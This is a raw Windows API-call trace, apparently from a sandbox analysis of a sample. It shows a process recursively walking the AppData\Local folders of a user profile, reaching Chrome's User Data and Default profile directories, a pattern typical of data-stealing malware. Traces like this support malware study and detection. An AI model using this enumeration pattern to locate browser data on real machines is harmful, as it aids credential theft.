	[0066.234] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.234] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj"), fInfoLevelId=0x0, lpFileInformation=0x127da828 | out: lpFileInformation=0x127da828*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.235] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", lpFindFileData=0x12415724 | out: lpFindFileData=0x12415724*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.235] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.235] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1
	[0066.235] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.235] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.235] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec"), fInfoLevelId=0x0, lpFileInformation=0x127da8c8 | out: lpFileInformation=0x127da8c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.236] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x124156c0 | out: lpFindFileData=0x124156c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.236] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124156e0 | out: lpFindFileData=0x124156e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.236] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124156e0 | out: lpFindFileData=0x124156e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
	[0066.236] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124156e0 | out: lpFindFileData=0x124156e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.236] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.236] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\data"), fInfoLevelId=0x0, lpFileInformation=0x127da968 | out: lpFileInformation=0x127da968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.237] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", lpFindFileData=0x1241565c | out: lpFindFileData=0x1241565c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.237] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.237] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.237] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.237] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\deployment"), fInfoLevelId=0x0, lpFileInformation=0x127da9b8 | out: lpFileInformation=0x127da9b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.237] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\deployment"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.237] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.237] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.237] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.237] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.238] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat"), fInfoLevelId=0x0, lpFileInformation=0x127daa08 | out: lpFileInformation=0x127daa08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918)) returned 1
	[0066.238] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google"), fInfoLevelId=0x0, lpFileInformation=0x127daa58 | out: lpFileInformation=0x127daa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.238] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.238] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.239] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1
	[0066.239] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0066.239] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.239] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.239] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome"), fInfoLevelId=0x0, lpFileInformation=0x127dabe8 | out: lpFileInformation=0x127dabe8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.239] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.239] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.239] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.239] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1
	[0066.239] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.239] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.239] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data"), fInfoLevelId=0x0, lpFileInformation=0x127dacd8 | out: lpFileInformation=0x127dacd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.240] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.240] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.241] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1
